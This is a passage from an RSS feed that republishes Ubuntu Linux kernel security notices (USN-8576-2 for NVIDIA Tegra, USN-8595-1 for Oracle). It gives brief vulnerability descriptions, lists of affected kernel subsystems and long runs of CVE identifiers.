CVE-2026-52921, CVE-2026-52922, CVE-2026-52925, CVE-2026-52926,
CVE-2026-52931, CVE-2026-52954, CVE-2026-52955, CVE-2026-52957,
CVE-2026-52958, CVE-2026-52962, CVE-2026-52963, CVE-2026-52969,
CVE-2026-52970, CVE-2026-52982, CVE-2026-52984, CVE-2026-52985,
CVE-2026-52986, CVE-2026-52992, CVE-2026-52993, CVE-2026-52995,
CVE-2026-52998, CVE-2026-52999, CVE-2026-53001, CVE-2026-53002,
CVE-2026-53003, CVE-2026-53004, CVE-2026-53006, CVE-2026-53011,
CVE-2026-53012, CVE-2026-53016, CVE-2026-53021, CVE-2026-53022,
CVE-2026-53023, CVE-2026-53037, CVE-2026-53039, CVE-2026-53040,
CVE-2026-53041, CVE-2026-53043, CVE-2026-53045, CVE-2026-53046,
CVE-2026-53047, CVE-2026-53048, CVE-2026-53049, CVE-2026-53050,
CVE-2026-53059, CVE-2026-53060, CVE-2026-53061, CVE-2026-53062,
CVE-2026-53064, CVE-2026-53065, CVE-2026-53068, CVE-2026-53069,
CVE-2026-53071, CVE-2026-53072, CVE-2026-53073, CVE-2026-53074,
CVE-2026-53075, CVE-2026-53077, CVE-2026-53082, CVE-2026-53088,
CVE-2026-53093, CVE-2026-53096, CVE-2026-53112, CVE-2026-53128,
CVE-2026-53130, CVE-2026-53287, CVE-2026-53291, CVE-2026-53294,
CVE-2026-53295, CVE-2026-53296, CVE-2026-53304, CVE-2026-53306,
CVE-2026-53309, CVE-2026-53320, CVE-2026-53369, CVE-2026-53379,
CVE-2026-63860, CVE-2026-63865, CVE-2026-64018, CVE-2026-64032,
CVE-2026-64033, CVE-2026-64034, CVE-2026-64039, CVE-2026-64046,
CVE-2026-64047, CVE-2026-64055, CVE-2026-64056, CVE-2026-64083,
CVE-2026-64084, CVE-2026-64085, CVE-2026-64086, CVE-2026-64087,
CVE-2026-64088, CVE-2026-64089, CVE-2026-64096, CVE-2026-64102,
CVE-2026-64103, CVE-2026-64113, CVE-2026-64114, CVE-2026-64115,
CVE-2026-64125, CVE-2026-64133, CVE-2026-64135, CVE-2026-64153,
CVE-2026-64155, CVE-2026-64164, CVE-2026-64165, CVE-2026-64166,
CVE-2026-64168, CVE-2026-64173, CVE-2026-64174, CVE-2026-64177,
CVE-2026-64178, CVE-2026-64179, CVE-2026-64185)]]></content:encoded>
</item>
<item>
<title><![CDATA[USN-8576-2: Linux kernel (NVIDIA Tegra) vulnerabilities]]></title>
<description><![CDATA[Maxim Suhanov discovered that the NTFS file system implementation in the
Linux kernel did not properly validate file name length in certain
situations, leading to an out-of-bounds read. An attacker could use this to
construct a malicious NTFS image that, when mounted and operated on, could
expose...]]></description>
<link>https://tsecurity.de/de/3688376/unix-server/usn-8576-2-linux-kernel-nvidia-tegra-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688376/unix-server/usn-8576-2-linux-kernel-nvidia-tegra-vulnerabilities/</guid>
<pubDate>Thu, 23 Jul 2026 10:31:00 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Maxim Suhanov discovered that the NTFS file system implementation in the
Linux kernel did not properly validate file name length in certain
situations, leading to an out-of-bounds read. An attacker could use this to
construct a malicious NTFS image that, when mounted and operated on, could
expose sensitive information (kernel memory). (CVE-2023-45896)

It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shared resources in the operation cache. A local attacker could possibly
use this issue to corrupt instructions executed at a higher privilege
level, resulting in privilege escalation. (CVE-2025-54518)

Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - ARM32 architecture;
  - ARM64 architecture;
  - MIPS architecture;
  - PowerPC architecture;
  - S390 architecture;
  - x86 architecture;
  - Block layer subsystem;
  - Cryptographic API;
  - ACPI drivers;
  - ATM drivers;
  - Drivers core;
  - Power management core;
  - DRBD Distributed Replicated Block Device drivers;
  - RNBD block device driver;
  - Bluetooth drivers;
  - Bus devices;
  - Character device driver;
  - TPM device driver;
  - Clocksource drivers;
  - Data acquisition framework and drivers;
  - CPU frequency scaling framework;
  - CPU idle management framework;
  - Hardware crypto device drivers;
  - DMA engine subsystem;
  - Arm Firmware Framework for ARMv8-A(FFA);
  - EFI core;
  - GPIO subsystem;
  - GPU drivers;
  - HID subsystem;
  - Hardware monitoring drivers;
  - I2C subsystem;
  - IIO subsystem;
  - IIO ADC drivers;
  - InfiniBand drivers;
  - Input Device (Miscellaneous) drivers;
  - IOMMU subsystem;
  - Mailbox framework;
  - Multiple devices driver;
  - Media drivers;
  - MediaTek SMI driver;
  - NVIDIA Tegra memory controller driver;
  - Multifunction device drivers;
  - IBM Advanced System Management driver;
  - MMC subsystem;
  - MTD block device drivers;
  - Network drivers;
  - Ethernet bonding driver;
  - Mellanox network drivers;
  - Microsoft Azure Network Adapter (MANA) driver;
  - STMicroelectronics network drivers;
  - MediaTek network drivers;
  - Near Field Communication (NFC) drivers;
  - NTB driver;
  - NVDIMM (Non-Volatile Memory Device) drivers;
  - NVME drivers;
  - PCI subsystem;
  - Pin controllers subsystem;
  - x86 platform drivers;
  - Broadcom BCM2835 power domain driver;
  - Power supply drivers;
  - RapidIO drivers;
  - Remote Processor subsystem;
  - RPMSG subsystem;
  - SCSI subsystem;
  - Freescale SoC drivers;
  - Texas Instruments SoC drivers;
  - SPI subsystem;
  - Greybus lights staging drivers;
  - Media staging drivers;
  - Realtek RTL8723BS SDIO drivers;
  - SM750 framebuffer staging driver;
  - TCM subsystem;
  - TTY drivers;
  - UFS subsystem;
  - Cadence USB3 driver;
  - USB Device Class drivers;
  - ULPI bus;
  - USB core drivers;
  - DesignWare USB2 driver;
  - USB Gadget drivers;
  - USB Host Controller drivers;
  - Mustek MDC800 USB digital camera driver;
  - USB YUREX driver;
  - Renesas USBHS Controller drivers;
  - Framebuffer layer;
  - Xen hypervisor drivers;
  - File systems infrastructure;
  - BTRFS file system;
  - Ceph distributed file system;
  - EROFS file system;
  - Ext4 file system;
  - F2FS file system;
  - FAT file system;
  - FUSE (File system in Userspace);
  - GFS2 file system;
  - HFS+ file system;
  - JFS file system;
  - Network file system (NFS) server daemon;
  - NILFS2 file system;
  - File system notification infrastructure;
  - NTFS3 file system;
  - OCFS2 file system;
  - Proc file system;
  - Pstore file system;
  - Diskquota system;
  - SMB network file system;
  - SquashFS file system;
  - UDF file system;
  - XFS file system;
  - Audit subsystem;
  - RAS (Reliability, Availability, Serviceability) subsystem;
  - Memory Management;
  - KVM subsystem;
  - Memory management;
  - PPP protocol drivers and compressors;
  - Linux Security Modules (LSM) Framework;
  - Network traffic control;
  - Bluetooth subsystem;
  - MAC80211 subsystem;
  - Netfilter;
  - IP tunnels definitions;
  - Tracing infrastructure;
  - User-space API (UAPI);
  - io_uring subsystem;
  - BPF subsystem;
  - Control group (cgroup);
  - Kernel fork() syscall;
  - Kernel futex primitives;
  - Kernel kexec() syscall;
  - Kernel module support;
  - Scheduler infrastructure;
  - Cryptographic library;
  - KASAN memory debugging framework;
  - Asynchronous Transfer Mode (ATM) subsystem;
  - B.A.T.M.A.N. meshing protocol;
  - Ethernet bridge;
  - CAIF protocol;
  - CAN network layer;
  - Ceph Core library;
  - Networking core;
  - Distributed Switch Architecture;
  - IPv4 networking;
  - IPv6 networking;
  - XFRM subsystem;
  - L2TP protocol;
  - Management Component Transport Protocol (MCTP);
  - Multipath TCP;
  - NCSI (Network Controller Sideband Interface) driver;
  - NFC subsystem;
  - Open vSwitch;
  - Phonet protocol;
  - Qualcomm IPC Router (QRTR);
  - RDS protocol;
  - RF switch subsystem;
  - Rose network layer;
  - RxRPC session sockets;
  - SCTP protocol;
  - SMC sockets;
  - Stream parser;
  - Sun RPC protocol;
  - TIPC protocol;
  - TLS protocol;
  - Unix domain sockets;
  - VMware vSockets driver;
  - Wireless networking;
  - X.25 network layer;
  - eXpress Data Path;
  - AppArmor security module;
  - Simplified Mandatory Access Control Kernel framework;
  - ALSA framework;
  - FireWire sound drivers;
  - HD-audio driver;
  - AudioScience HPI driver;
  - Creative Sound Blaster X-Fi driver;
  - AMD SoC Alsa drivers;
  - SoC audio core drivers;
  - STI ASoC drivers;
  - USB sound devices;
(CVE-2022-49803, CVE-2022-49961, CVE-2022-50073, CVE-2022-50116,
CVE-2022-50552, CVE-2023-52682, CVE-2023-52737, CVE-2023-53545,
CVE-2023-53596, CVE-2023-53629, CVE-2024-27389, CVE-2024-35865,
CVE-2024-36898, CVE-2024-36922, CVE-2024-41079, CVE-2024-46715,
CVE-2024-46770, CVE-2024-47809, CVE-2024-50012, CVE-2024-53221,
CVE-2024-56557, CVE-2024-56584, CVE-2024-56657, CVE-2024-56719,
CVE-2024-56727, CVE-2025-21712, CVE-2025-21739, CVE-2025-21863,
CVE-2025-22107, CVE-2025-23141, CVE-2025-37786, CVE-2025-38006,
CVE-2025-38105, CVE-2025-38192, CVE-2025-38250, CVE-2025-38562,
CVE-2025-38626, CVE-2025-38659, CVE-2025-38710, CVE-2025-39748,
CVE-2025-39764, CVE-2025-40005, CVE-2025-40016, CVE-2025-40103,
CVE-2025-40323, CVE-2025-68206, CVE-2025-68239, CVE-2025-68256,
CVE-2025-68307, CVE-2025-68358, CVE-2025-71150, CVE-2025-71161,
CVE-2025-71221, CVE-2025-71232, CVE-2025-71235, CVE-2025-71236,
CVE-2025-71237, CVE-2025-71238, CVE-2025-71239, CVE-2025-71265,
CVE-2025-71266, CVE-2025-71267, CVE-2025-71274, CVE-2025-71287,
CVE-2025-71292, CVE-2025-71304, CVE-2026-23031, CVE-2026-23066,
CVE-2026-23100, CVE-2026-23113, CVE-2026-23141, CVE-2026-23157,
CVE-2026-23169, CVE-2026-23204, CVE-2026-23220, CVE-2026-23221,
CVE-2026-23222, CVE-2026-23227, CVE-2026-23228, CVE-2026-23229,
CVE-2026-23234, CVE-2026-23235, CVE-2026-23236, CVE-2026-23237,
CVE-2026-23238, CVE-2026-23241, CVE-2026-23242, CVE-2026-23243,
CVE-2026-23253, CVE-2026-23266, CVE-2026-23270, CVE-2026-23277,
CVE-2026-23279, CVE-2026-23281, CVE-2026-23286, CVE-2026-23289,
CVE-2026-23290, CVE-2026-23291, CVE-2026-23293, CVE-2026-23296,
CVE-2026-23298, CVE-2026-23300, CVE-2026-23303, CVE-2026-23304,
CVE-2026-23307, CVE-2026-23312, CVE-2026-23318, CVE-2026-23324,
CVE-2026-23335, CVE-2026-23336, CVE-2026-23339, CVE-2026-23340,
CVE-2026-23352, CVE-2026-23356, CVE-2026-23357, CVE-2026-23359,
CVE-2026-23362, CVE-2026-23365, CVE-2026-23367, CVE-2026-23368,
CVE-2026-23370, CVE-2026-23372, CVE-2026-23379, CVE-2026-23381,
CVE-2026-23382, CVE-2026-23388, CVE-2026-23391, CVE-2026-23392,
CVE-2026-23395, CVE-2026-23396, CVE-2026-23397, CVE-2026-23398,
CVE-2026-23399, CVE-2026-23401, CVE-2026-23420, CVE-2026-23434,
CVE-2026-23438, CVE-2026-23439, CVE-2026-23442, CVE-2026-23444,
CVE-2026-23446, CVE-2026-23452, CVE-2026-23454, CVE-2026-23456,
CVE-2026-23457, CVE-2026-23458, CVE-2026-23460, CVE-2026-23462,
CVE-2026-23463, CVE-2026-23474, CVE-2026-31393, CVE-2026-31396,
CVE-2026-31399, CVE-2026-31400, CVE-2026-31405, CVE-2026-31407,
CVE-2026-31408, CVE-2026-31409, CVE-2026-31411, CVE-2026-31415,
CVE-2026-31416, CVE-2026-31417, CVE-2026-31421, CVE-2026-31422,
CVE-2026-31423, CVE-2026-31424, CVE-2026-31425, CVE-2026-31427,
CVE-2026-31428, CVE-2026-31433, CVE-2026-31446, CVE-2026-31447,
CVE-2026-31450, CVE-2026-31452, CVE-2026-31454, CVE-2026-31455,
CVE-2026-31464, CVE-2026-31466, CVE-2026-31467, CVE-2026-31469,
CVE-2026-31473, CVE-2026-31476, CVE-2026-31480, CVE-2026-31483,
CVE-2026-31485, CVE-2026-31489, CVE-2026-31494, CVE-2026-31495,
CVE-2026-31497, CVE-2026-31498, CVE-2026-31507, CVE-2026-31508,
CVE-2026-31509, CVE-2026-31510, CVE-2026-31512, CVE-2026-31515,
CVE-2026-31518, CVE-2026-31521, CVE-2026-31522, CVE-2026-31523,
CVE-2026-31524, CVE-2026-31532, CVE-2026-31540, CVE-2026-31545,
CVE-2026-31546, CVE-2026-31549, CVE-2026-31550, CVE-2026-31551,
CVE-2026-31552, CVE-2026-31555, CVE-2026-31565, CVE-2026-31570,
CVE-2026-31576, CVE-2026-31577, CVE-2026-31578, CVE-2026-31580,
CVE-2026-31581, CVE-2026-31583, CVE-2026-31585, CVE-2026-31586,
CVE-2026-31588, CVE-2026-31590, CVE-2026-31594, CVE-2026-31596,
CVE-2026-31597, CVE-2026-31598, CVE-2026-31599, CVE-2026-31602,
CVE-2026-31603, CVE-2026-31605, CVE-2026-31615, CVE-2026-31616,
CVE-2026-31617, CVE-2026-31618, CVE-2026-31619, CVE-2026-31622,
CVE-2026-31623, CVE-2026-31624, CVE-2026-31625, CVE-2026-31626,
CVE-2026-31627, CVE-2026-31628, CVE-2026-31629, CVE-2026-31630,
CVE-2026-31634, CVE-2026-31642, CVE-2026-31651, CVE-2026-31656,
CVE-2026-31658, CVE-2026-31660, CVE-2026-31661, CVE-2026-31662,
CVE-2026-31664, CVE-2026-31665, CVE-2026-31667, CVE-2026-31670,
CVE-2026-31671, CVE-2026-31672, CVE-2026-31673, CVE-2026-31674,
CVE-2026-31676, CVE-2026-31679, CVE-2026-31680, CVE-2026-31681,
CVE-2026-31683, CVE-2026-31684, CVE-2026-31686, CVE-2026-31687,
CVE-2026-31694, CVE-2026-31695, CVE-2026-31696, CVE-2026-31697,
CVE-2026-31698, CVE-2026-31699, CVE-2026-31701, CVE-2026-31716,
CVE-2026-31720, CVE-2026-31721, CVE-2026-31726, CVE-2026-31728,
CVE-2026-31737, CVE-2026-31738, CVE-2026-31747, CVE-2026-31748,
CVE-2026-31749, CVE-2026-31751, CVE-2026-31752, CVE-2026-31754,
CVE-2026-31755, CVE-2026-31756, CVE-2026-31758, CVE-2026-31759,
CVE-2026-31761, CVE-2026-31762, CVE-2026-31763, CVE-2026-31770,
CVE-2026-31773, CVE-2026-31778, CVE-2026-31780, CVE-2026-31781,
CVE-2026-31788, CVE-2026-43014, CVE-2026-43015, CVE-2026-43020,
CVE-2026-43024, CVE-2026-43026, CVE-2026-43027, CVE-2026-43028,
CVE-2026-43030, CVE-2026-43032, CVE-2026-43035, CVE-2026-43040,
CVE-2026-43041, CVE-2026-43043, CVE-2026-43046, CVE-2026-43047,
CVE-2026-43050, CVE-2026-43051, CVE-2026-43052, CVE-2026-43054,
CVE-2026-43058, CVE-2026-43060, CVE-2026-43061, CVE-2026-43062,
CVE-2026-43065, CVE-2026-43066, CVE-2026-43068, CVE-2026-43069,
CVE-2026-43074, CVE-2026-43075, CVE-2026-43076, CVE-2026-43079,
CVE-2026-43080, CVE-2026-43085, CVE-2026-43089, CVE-2026-43093,
CVE-2026-43098, CVE-2026-43099, CVE-2026-43103, CVE-2026-43104,
CVE-2026-43105, CVE-2026-43110, CVE-2026-43111, CVE-2026-43112,
CVE-2026-43113, CVE-2026-43123, CVE-2026-43124, CVE-2026-43130,
CVE-2026-43132, CVE-2026-43133, CVE-2026-43134, CVE-2026-43135,
CVE-2026-43136, CVE-2026-43139, CVE-2026-43140, CVE-2026-43141,
CVE-2026-43145, CVE-2026-43147, CVE-2026-43148, CVE-2026-43149,
CVE-2026-43152, CVE-2026-43156, CVE-2026-43158, CVE-2026-43159,
CVE-2026-43163, CVE-2026-43168, CVE-2026-43171, CVE-2026-43180,
CVE-2026-43182, CVE-2026-43183, CVE-2026-43184, CVE-2026-43187,
CVE-2026-43190, CVE-2026-43194, CVE-2026-43196, CVE-2026-43202,
CVE-2026-43203, CVE-2026-43205, CVE-2026-43206, CVE-2026-43207,
CVE-2026-43209, CVE-2026-43211, CVE-2026-43218, CVE-2026-43223,
CVE-2026-43225, CVE-2026-43226, CVE-2026-43227, CVE-2026-43230,
CVE-2026-43231, CVE-2026-43232, CVE-2026-43233, CVE-2026-43236,
CVE-2026-43241, CVE-2026-43242, CVE-2026-43246, CVE-2026-43251,
CVE-2026-43255, CVE-2026-43257, CVE-2026-43261, CVE-2026-43262,
CVE-2026-43264, CVE-2026-43266, CVE-2026-43268, CVE-2026-43269,
CVE-2026-43270, CVE-2026-43273, CVE-2026-43275, CVE-2026-43277,
CVE-2026-43279, CVE-2026-43281, CVE-2026-43283, CVE-2026-43287,
CVE-2026-43289, CVE-2026-43291, CVE-2026-43295, CVE-2026-43296,
CVE-2026-43302, CVE-2026-43312, CVE-2026-43313, CVE-2026-43314,
CVE-2026-43315, CVE-2026-43316, CVE-2026-43324, CVE-2026-43327,
CVE-2026-43328, CVE-2026-43329, CVE-2026-43333, CVE-2026-43334,
CVE-2026-43336, CVE-2026-43339, CVE-2026-43340, CVE-2026-43342,
CVE-2026-43343, CVE-2026-43357, CVE-2026-43363, CVE-2026-43365,
CVE-2026-43370, CVE-2026-43373, CVE-2026-43380, CVE-2026-43381,
CVE-2026-43382, CVE-2026-43386, CVE-2026-43387, CVE-2026-43405,
CVE-2026-43411, CVE-2026-43420, CVE-2026-43425, CVE-2026-43426,
CVE-2026-43427, CVE-2026-43428, CVE-2026-43429, CVE-2026-43430,
CVE-2026-43432, CVE-2026-43439, CVE-2026-43445, CVE-2026-43449,
CVE-2026-43450, CVE-2026-43451, CVE-2026-43452, CVE-2026-43453,
CVE-2026-43458, CVE-2026-43459, CVE-2026-43466, CVE-2026-43469,
CVE-2026-43472, CVE-2026-43473, CVE-2026-43475, CVE-2026-43476,
CVE-2026-43480, CVE-2026-43484, CVE-2026-43496, CVE-2026-43497,
CVE-2026-43502, CVE-2026-45834, CVE-2026-45835, CVE-2026-45836,
CVE-2026-45838, CVE-2026-45839, CVE-2026-45840, CVE-2026-45841,
CVE-2026-45842, CVE-2026-45843, CVE-2026-45844, CVE-2026-45846,
CVE-2026-45847, CVE-2026-45848, CVE-2026-45852, CVE-2026-45856,
CVE-2026-45857, CVE-2026-45860, CVE-2026-45862, CVE-2026-45864,
CVE-2026-45866, CVE-2026-45867, CVE-2026-45868, CVE-2026-45869,
CVE-2026-45870, CVE-2026-45871, CVE-2026-45873, CVE-2026-45875,
CVE-2026-45879, CVE-2026-45883, CVE-2026-45885, CVE-2026-45890,
CVE-2026-45891, CVE-2026-45899, CVE-2026-45902, CVE-2026-45904,
CVE-2026-45911, CVE-2026-45912, CVE-2026-45915, CVE-2026-45916,
CVE-2026-45919, CVE-2026-45920, CVE-2026-45924, CVE-2026-45935,
CVE-2026-45936, CVE-2026-45941, CVE-2026-45946, CVE-2026-45948,
CVE-2026-45954, CVE-2026-45956, CVE-2026-45958, CVE-2026-45960,
CVE-2026-45964, CVE-2026-45965, CVE-2026-45968, CVE-2026-45969,
CVE-2026-45970, CVE-2026-45974, CVE-2026-45978, CVE-2026-45983,
CVE-2026-45984, CVE-2026-45985, CVE-2026-45986, CVE-2026-45987,
CVE-2026-45994, CVE-2026-46002, CVE-2026-46004, CVE-2026-46006,
CVE-2026-46009, CVE-2026-46015, CVE-2026-46018, CVE-2026-46019,
CVE-2026-46022, CVE-2026-46023, CVE-2026-46024, CVE-2026-46027,
CVE-2026-46033, CVE-2026-46037, CVE-2026-46040, CVE-2026-46044,
CVE-2026-46046, CVE-2026-46047, CVE-2026-46049, CVE-2026-46050,
CVE-2026-46051, CVE-2026-46053, CVE-2026-46062, CVE-2026-46064,
CVE-2026-46070, CVE-2026-46072, CVE-2026-46077, CVE-2026-46080,
CVE-2026-46082, CVE-2026-46088, CVE-2026-46098, CVE-2026-46099,
CVE-2026-46101, CVE-2026-46102, CVE-2026-46107, CVE-2026-46108,
CVE-2026-46112, CVE-2026-46120, CVE-2026-46122, CVE-2026-46123,
CVE-2026-46124, CVE-2026-46127, CVE-2026-46128, CVE-2026-46132,
CVE-2026-46133, CVE-2026-46137, CVE-2026-46146, CVE-2026-46149,
CVE-2026-46150, CVE-2026-46151, CVE-2026-46161, CVE-2026-46163,
CVE-2026-46167, CVE-2026-46168, CVE-2026-46172, CVE-2026-46174,
CVE-2026-46177, CVE-2026-46178, CVE-2026-46184, CVE-2026-46186,
CVE-2026-46187, CVE-2026-46189, CVE-2026-46197, CVE-2026-46198,
CVE-2026-46205, CVE-2026-46206, CVE-2026-46209, CVE-2026-46212,
CVE-2026-46214, CVE-2026-46219, CVE-2026-46220, CVE-2026-46227,
CVE-2026-46230, CVE-2026-46231, CVE-2026-46233, CVE-2026-46234,
CVE-2026-46236, CVE-2026-46238, CVE-2026-46249, CVE-2026-46250,
CVE-2026-46253, CVE-2026-46259, CVE-2026-46267, CVE-2026-46270,
CVE-2026-46273, CVE-2026-46274, CVE-2026-46275, CVE-2026-46285,
CVE-2026-46294, CVE-2026-46301, CVE-2026-46303, CVE-2026-46304,
CVE-2026-46307, CVE-2026-46319, CVE-2026-46328, CVE-2026-52911,
CVE-2026-52912, CVE-2026-52914, CVE-2026-52915, CVE-2026-52916,
CVE-2026-52919, CVE-2026-52920, CVE-2026-52921, CVE-2026-52922,
CVE-2026-52925, CVE-2026-52926, CVE-2026-52931, CVE-2026-52954,
CVE-2026-52955, CVE-2026-52957, CVE-2026-52958, CVE-2026-52962,
CVE-2026-52963, CVE-2026-52969, CVE-2026-52970, CVE-2026-52982,
CVE-2026-52984, CVE-2026-52985, CVE-2026-52986, CVE-2026-52992,
CVE-2026-52993, CVE-2026-52995, CVE-2026-52998, CVE-2026-52999,
CVE-2026-53001, CVE-2026-53002, CVE-2026-53003, CVE-2026-53004,
CVE-2026-53006, CVE-2026-53011, CVE-2026-53012, CVE-2026-53016,
CVE-2026-53021, CVE-2026-53022, CVE-2026-53023, CVE-2026-53037,
CVE-2026-53039, CVE-2026-53040, CVE-2026-53041, CVE-2026-53043,
CVE-2026-53045, CVE-2026-53046, CVE-2026-53047, CVE-2026-53048,
CVE-2026-53049, CVE-2026-53050, CVE-2026-53059, CVE-2026-53060,
CVE-2026-53061, CVE-2026-53062, CVE-2026-53064, CVE-2026-53065,
CVE-2026-53068, CVE-2026-53069, CVE-2026-53071, CVE-2026-53072,
CVE-2026-53073, CVE-2026-53074, CVE-2026-53075, CVE-2026-53077,
CVE-2026-53082, CVE-2026-53088, CVE-2026-53093, CVE-2026-53096,
CVE-2026-53112, CVE-2026-53128, CVE-2026-53130, CVE-2026-53287,
CVE-2026-53291, CVE-2026-53294, CVE-2026-53295, CVE-2026-53296,
CVE-2026-53304, CVE-2026-53306, CVE-2026-53309, CVE-2026-53320,
CVE-2026-53369, CVE-2026-53379, CVE-2026-63860, CVE-2026-63865,
CVE-2026-64018, CVE-2026-64032, CVE-2026-64033, CVE-2026-64034,
CVE-2026-64039, CVE-2026-64046, CVE-2026-64047, CVE-2026-64055,
CVE-2026-64056, CVE-2026-64083, CVE-2026-64084, CVE-2026-64085,
CVE-2026-64086, CVE-2026-64087, CVE-2026-64088, CVE-2026-64089,
CVE-2026-64096, CVE-2026-64102, CVE-2026-64103, CVE-2026-64113,
CVE-2026-64114, CVE-2026-64115, CVE-2026-64125, CVE-2026-64133,
CVE-2026-64135, CVE-2026-64153, CVE-2026-64155, CVE-2026-64164,
CVE-2026-64165, CVE-2026-64166, CVE-2026-64168, CVE-2026-64173,
CVE-2026-64174, CVE-2026-64177, CVE-2026-64178, CVE-2026-64179,
CVE-2026-64185)]]></content:encoded>
</item>
<item>
<title><![CDATA[USN-8595-1: Linux kernel (Oracle) vulnerabilities]]></title>
<description><![CDATA[It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shar...]]></description>
<link>https://tsecurity.de/de/3688352/unix-server/usn-8595-1-linux-kernel-oracle-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688352/unix-server/usn-8595-1-linux-kernel-oracle-vulnerabilities/</guid>
<pubDate>Thu, 23 Jul 2026 10:20:43 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shared resources in the operation cache. A local attacker could possibly
use this issue to corrupt instructions executed at a higher privilege
level, resulting in privilege escalation. (CVE-2025-54518)

It was discovered that some AMD Zen 5 processors supporting RDSEED
instruction did not properly handle entropy, potentially resulting in the
consumption of insufficiently random values. A local attacker could
possibly use this issue to influence the values returned by the RDSEED
instruction causing loss of confidentiality and integrity. (CVE-2025-62626)

Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - ARM64 architecture;
  - RISC-V architecture;
  - S390 architecture;
  - x86 architecture;
  - Block layer subsystem;
  - Cryptographic API;
  - Compute Acceleration Framework;
  - ACPI drivers;
  - Serial ATA and Parallel ATA drivers;
  - Drivers core;
  - Power management core;
  - DRBD Distributed Replicated Block Device drivers;
  - Rados block device (RBD) driver;
  - Compressed RAM block device driver;
  - Bluetooth drivers;
  - Bus devices;
  - Character device driver;
  - Clock framework and drivers;
  - Data acquisition framework and drivers;
  - Counter interface drivers;
  - CPU frequency scaling framework;
  - Hardware crypto device drivers;
  - CXL (Compute Express Link) drivers;
  - DMA engine subsystem;
  - EDAC drivers;
  - EFI core;
  - GPU drivers;
  - Greybus drivers;
  - HID subsystem;
  - Hardware monitoring drivers;
  - I2C subsystem;
  - IIO ADC drivers;
  - IIO subsystem;
  - InfiniBand drivers;
  - Input Device (Miscellaneous) drivers;
  - IRQ chip drivers;
  - LED subsystem;
  - Mailbox framework;
  - Multiple devices driver;
  - Media drivers;
  - MediaTek SMI driver;
  - NVIDIA Tegra memory controller driver;
  - Fastrpc Driver;
  - IBM Advanced System Management driver;
  - MMC subsystem;
  - MTD block device drivers;
  - Network drivers;
  - Ethernet bonding driver;
  - Mellanox network drivers;
  - Microsoft Azure Network Adapter (MANA) driver;
  - STMicroelectronics network drivers;
  - Ethernet team driver;
  - MediaTek network drivers;
  - Near Field Communication (NFC) drivers;
  - NTB driver;
  - NVDIMM (Non-Volatile Memory Device) drivers;
  - NVME drivers;
  - Device tree and open firmware driver;
  - PCI subsystem;
  - Pin controllers subsystem;
  - x86 platform drivers;
  - Broadcom BCM2835 power domain driver;
  - Generic PM domains;
  - i.MX PM domains;
  - Remote Processor subsystem;
  - S/390 drivers;
  - SCSI subsystem;
  - SLIMbus drivers;
  - Freescale SoC drivers;
  - Microchip PolarFire SoC system controller driver;
  - SPI subsystem;
  - Media staging drivers;
  - Realtek RTL8723BS SDIO drivers;
  - SM750 framebuffer staging driver;
  - TCM subsystem;
  - Thermal drivers;
  - TTY drivers;
  - UFS subsystem;
  - Cadence USB3 driver;
  - USB Device Class drivers;
  - ULPI bus;
  - USB core drivers;
  - DesignWare USB2 driver;
  - USB Gadget drivers;
  - USB Host Controller drivers;
  - Mustek MDC800 USB digital camera driver;
  - USB YUREX driver;
  - Renesas USBHS Controller drivers;
  - USB Type-C Connector System Software Interface driver;
  - VFIO drivers;
  - Framebuffer layer;
  - TSM TDX Guest driver;
  - Xen hypervisor drivers;
  - File systems infrastructure;
  - BTRFS file system;
  - Ceph distributed file system;
  - EROFS file system;
  - Ext4 file system;
  - F2FS file system;
  - FUSE (File system in Userspace);
  - GFS2 file system;
  - HFS+ file system;
  - Journaling layer for block devices (JBD2);
  - Network file systems library;
  - Network file system (NFS) server daemon;
  - NILFS2 file system;
  - File system notification infrastructure;
  - NTFS3 file system;
  - OCFS2 file system;
  - Diskquota system;
  - SMB network file system;
  - SquashFS file system;
  - Tracing file system;
  - UDF file system;
  - XFS file system;
  - Kernel CPU control infrastructure;
  - QorIQ DPAA2 FSL-MC bus driver;
  - Memory Management;
  - Integrity Measurement Architecture(IMA) framework;
  - KVM subsystem;
  - Memory management;
  - Networking core;
  - padata parallel execution mechanism;
  - PPP protocol drivers and compressors;
  - Linux Security Modules (LSM) Framework;
  - Tracing infrastructure;
  - Network traffic control;
  - Distributed Switch Architecture;
  - IPv4 networking;
  - IP tunnels definitions;
  - MAC80211 subsystem;
  - Netfilter;
  - User-space API (UAPI);
  - io_uring subsystem;
  - Audit subsystem;
  - BPF subsystem;
  - Control group (cgroup);
  - Perf events;
  - Kernel exit() syscall;
  - Kernel fork() syscall;
  - Kernel futex primitives;
  - KProbes tracing;
  - Locking primitives;
  - Kernel module support;
  - Padata parallel execution mechanism;
  - Cryptographic library;
  - Heterogeneous memory management;
  - KASAN memory debugging framework;
  - Asynchronous Transfer Mode (ATM) subsystem;
  - B.A.T.M.A.N. meshing protocol;
  - Bluetooth subsystem;
  - Ethernet bridge;
  - CAIF protocol;
  - CAN network layer;
  - Ceph Core library;
  - IPv6 networking;
  - XFRM subsystem;
  - L2TP protocol;
  - Management Component Transport Protocol (MCTP);
  - Multipath TCP;
  - NCSI (Network Controller Sideband Interface) driver;
  - NFC subsystem;
  - Open vSwitch;
  - Packet sockets;
  - Qualcomm IPC Router (QRTR);
  - RDS protocol;
  - RF switch subsystem;
  - Rose network layer;
  - RxRPC session sockets;
  - SCTP protocol;
  - SMC sockets;
  - Stream parser;
  - Sun RPC protocol;
  - TIPC protocol;
  - TLS protocol;
  - Unix domain sockets;
  - VMware vSockets driver;
  - Wireless networking;
